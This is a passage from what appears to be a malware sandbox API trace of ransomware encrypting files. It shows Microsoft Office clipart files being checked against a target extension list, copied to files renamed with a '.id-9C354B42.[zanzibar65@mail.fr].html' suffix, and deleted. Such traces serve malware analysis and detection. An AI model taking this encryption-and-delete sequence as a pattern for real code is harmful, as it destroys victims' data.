lpNumberOfBytesWritten=0x323fc9c*=0x230, lpOverlapped=0x0) returned 1 [0271.942] ReadFile (in: hFile=0x384, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.942] WriteFile (in: hFile=0x2f0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.942] SetEndOfFile (hFile=0x2f0) returned 1 [0271.942] CloseHandle (hObject=0x2f0) returned 1 [0271.942] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.942] SetEndOfFile (hFile=0x384) returned 1 [0271.944] CloseHandle (hObject=0x384) returned 1 [0271.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0271.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0271.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0271.945] lstrlenW (lpString=".doc") returned 4 [0271.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.945] lstrlenW (lpString=".docx") returned 5 [0271.945] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.945] lstrlenW (lpString=".pdf") returned 4 [0271.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.945] lstrlenW (lpString=".xls") returned 4 [0271.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.945] lstrlenW (lpString=".xlsx") returned 5 [0271.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.945] lstrlenW (lpString=".ppt") returned 4 [0271.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0271.945] lstrlenW (lpString=".zip") returned 4 [0271.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.945] lstrlenW (lpString=".rar") returned 4 [0271.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.945] lstrlenW (lpString=".bz2") returned 4 [0271.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.945] lstrlenW (lpString=".7z") returned 3 [0271.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0271.945] lstrlenW (lpString=".dbf") returned 4 [0271.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0271.945] lstrlenW (lpString=".1cd") returned 4 [0271.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0271.945] lstrlenW (lpString=".jpg") returned 4 [0271.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0271.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0271.946] lstrlenW (lpString=".doc") returned 4 [0271.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.946] lstrlenW (lpString=".docx") returned 5 [0271.946] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.946] lstrlenW (lpString=".pdf") returned 4 [0271.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.946] lstrlenW (lpString=".xls") returned 4 [0271.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.946] lstrlenW (lpString=".xlsx") returned 5 [0271.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.946] lstrlenW (lpString=".ppt") returned 4 [0271.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0271.946] lstrlenW (lpString=".zip") returned 4 [0271.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.946] lstrlenW (lpString=".rar") returned 4 [0271.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.946] lstrlenW (lpString=".bz2") returned 4 [0271.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.946] lstrlenW (lpString=".7z") returned 3 [0271.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0271.946] lstrlenW (lpString=".dbf") returned 4 [0271.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0271.946] lstrlenW (lpString=".1cd") returned 4 [0271.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0271.946] lstrlenW (lpString=".jpg") returned 4 [0271.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.947] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.947] lstrlenW (lpString="EN00222_.WMF") returned 12 [0271.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0272.126] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=12356) returned 1 [0272.126] CloseHandle (hObject=0x2f8) returned 1 [0272.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 0x20 [0272.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.636] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.636] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0273.027] GetLastError () returned 0x0 [0273.027] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x3044, lpOverlapped=0x0) returned 1 [0273.064] WriteFile (in: hFile=0x3ac, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x3050, lpOverlapped=0x0) returned 1 [0273.065] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.065] WriteFile (in: hFile=0x3ac, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.065] SetEndOfFile (hFile=0x3ac) returned 1 [0273.065] CloseHandle (hObject=0x3ac) returned 1 [0273.065] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.065] SetEndOfFile (hFile=0x2f0) returned 1 [0273.069] CloseHandle (hObject=0x2f0) returned 1 [0273.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.093] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0273.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0273.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0273.120] lstrlenW (lpString=".doc") returned 4 [0273.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.120] lstrlenW (lpString=".docx") returned 5 [0273.120] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.120] lstrlenW (lpString=".pdf") returned 4 [0273.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.120] lstrlenW (lpString=".xls") returned 4 [0273.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.120] lstrlenW (lpString=".xlsx") returned 5 [0273.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.120] lstrlenW (lpString=".ppt") returned 4 [0273.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0273.120] lstrlenW (lpString=".zip") returned 4 [0273.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.120] lstrlenW (lpString=".rar") returned 4 [0273.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.120] lstrlenW (lpString=".bz2") returned 4 [0273.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.121] lstrlenW (lpString=".7z") returned 3 [0273.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0273.121] lstrlenW (lpString=".dbf") returned 4 [0273.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0273.121] lstrlenW (lpString=".1cd") returned 4 [0273.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0273.121] lstrlenW (lpString=".jpg") returned 4 [0273.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0273.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0273.121] lstrlenW (lpString=".doc") returned 4 [0273.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.121] lstrlenW (lpString=".docx") returned 5 [0273.121] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.121] lstrlenW (lpString=".pdf") returned 4 [0273.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.121] lstrlenW (lpString=".xls") returned 4 [0273.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.121] lstrlenW (lpString=".xlsx") returned 5 [0273.121] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.121] lstrlenW (lpString=".ppt") returned 4 [0273.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0273.121] lstrlenW (lpString=".zip") returned 4 [0273.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.121] lstrlenW (lpString=".rar") returned 4 [0273.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.121] lstrlenW (lpString=".bz2") returned 4 [0273.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.122] lstrlenW (lpString=".7z") returned 3 [0273.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0273.122] lstrlenW (lpString=".dbf") returned 4 [0273.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0273.122] lstrlenW (lpString=".1cd") returned 4 [0273.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0273.122] lstrlenW (lpString=".jpg") returned 4 [0273.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.122] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.122] lstrlenW (lpString="FD00414_.WMF") returned 12 [0273.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.171] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=11002) returned 1 [0273.171] CloseHandle (hObject=0x38c) returned 1 [0273.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x20 [0273.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.172] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.172] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0273.172] GetLastError () returned 0x0 [0273.172] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x2afa, lpOverlapped=0x0) returned 1 [0273.174] WriteFile (in: hFile=0x380, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x2b00, lpOverlapped=0x0) returned 1 [0273.175] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.175] WriteFile (in: hFile=0x380, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.175] SetEndOfFile (hFile=0x380) returned 1 [0273.175] CloseHandle (hObject=0x380) returned 1 [0273.175] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.175] SetEndOfFile (hFile=0x38c) returned 1 [0273.177] CloseHandle (hObject=0x38c) returned 1 [0273.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0273.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0273.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0273.177] lstrlenW (lpString=".doc") returned 4 [0273.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.177] lstrlenW (lpString=".docx") returned 5 [0273.177] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.177] lstrlenW (lpString=".pdf") returned 4 [0273.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.177] lstrlenW (lpString=".xls") returned 4 [0273.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.178] lstrlenW (lpString=".xlsx") returned 5 [0273.178] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.178] lstrlenW (lpString=".ppt") returned 4 [0273.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0273.178] lstrlenW (lpString=".zip") returned 4 [0273.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.178] lstrlenW (lpString=".rar") returned 4 [0273.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.178] lstrlenW (lpString=".bz2") returned 4 [0273.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.178] lstrlenW (lpString=".7z") returned 3 [0273.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0273.178] lstrlenW (lpString=".dbf") returned 4 [0273.178] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0273.178] lstrlenW (lpString=".1cd") returned 4 [0273.178] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0273.178] lstrlenW (lpString=".jpg") returned 4 [0273.178] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0273.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0273.178] lstrlenW (lpString=".doc") returned 4 [0273.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.178] lstrlenW (lpString=".docx") returned 5 [0273.178] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.179] lstrlenW (lpString=".pdf") returned 4 [0273.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.179] lstrlenW (lpString=".xls") returned 4 [0273.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.179] lstrlenW (lpString=".xlsx") returned 5 [0273.179] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.179] lstrlenW (lpString=".ppt") returned 4 [0273.179] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0273.179] lstrlenW (lpString=".zip") returned 4 [0273.179] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.179] lstrlenW (lpString=".rar") returned 4 [0273.179] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.179] lstrlenW (lpString=".bz2") returned 4 [0273.179] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.179] lstrlenW (lpString=".7z") returned 3 [0273.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0273.179] lstrlenW (lpString=".dbf") returned 4 [0273.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0273.179] lstrlenW (lpString=".1cd") returned 4 [0273.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0273.179] lstrlenW (lpString=".jpg") returned 4 [0273.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.179] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.179] lstrlenW (lpString="FD00438_.WMF") returned 12 [0273.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.180] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=5098) returned 1 [0273.180] CloseHandle (hObject=0x38c) returned 1 [0273.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x20 [0273.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.180] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.180] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0273.181] GetLastError () returned 0x0 [0273.181] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x13ea, lpOverlapped=0x0) returned 1 [0273.182] WriteFile (in: hFile=0x380, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x13f0, lpOverlapped=0x0) returned 1 [0273.183] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.183] WriteFile (in: hFile=0x380, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.183] SetEndOfFile (hFile=0x380) returned 1 [0273.183] CloseHandle (hObject=0x380) returned 1 [0273.183] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 